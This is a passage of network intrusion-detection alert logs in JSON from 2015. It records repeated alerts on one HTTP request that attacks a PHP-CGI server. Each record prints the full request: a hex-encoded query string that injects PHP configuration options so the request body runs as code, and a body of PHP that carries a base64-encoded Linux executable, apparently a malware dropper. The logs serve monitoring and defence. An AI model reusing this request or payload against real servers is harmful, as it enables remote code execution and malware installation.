lMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p","alert":{"action":"allowed","gid":1,"signature_id":2016978,"rev":3,"signature":"ET WEB_SERVER safe_mode PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0}}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p","alert":{"action":"allowed","gid":1,"signature_id":2016979,"rev":4,"signature":"ET WEB_SERVER suhosin.simulation PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0}}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVF